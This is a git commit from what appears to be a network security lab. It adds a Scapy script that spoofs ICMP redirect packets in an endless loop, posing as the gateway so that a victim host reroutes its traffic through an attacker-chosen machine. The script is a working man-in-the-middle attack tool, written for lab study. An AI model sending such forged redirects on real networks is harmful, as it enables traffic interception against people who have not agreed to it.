finished lab icmp

This commit is contained in:
2026-04-08 12:32:51 +08:00
parent 25c3f55d19
commit adf2ddbdd5
12 changed files with 14671 additions and 170 deletions

View File

@@ -0,0 +1,21 @@
#!/usr/bin/python3
from scapy.all import *
# ICMP Redirect packet
# IP layer: src must be the current gateway, dst is the victim
ip = IP(src='10.9.0.11', dst='10.9.0.5')
# ICMP layer: type 5 is redirect, code 1 is for host
icmp = ICMP(type=5, code=1)
# The IP address of the new gateway
icmp.gw = '10.9.0.111'
# The ICMP Redirect packet must contain the original IP packet that triggered it
# Victim's IP to the target destination
ip2 = IP(src='10.9.0.5', dst='192.168.60.5')
import time
# Full packet construction: IP/ICMP/original-IP/original-ICMP
pkt = ip/icmp/ip2/ICMP()
while True:
send(pkt, iface='eth0', verbose=True)
time.sleep(1)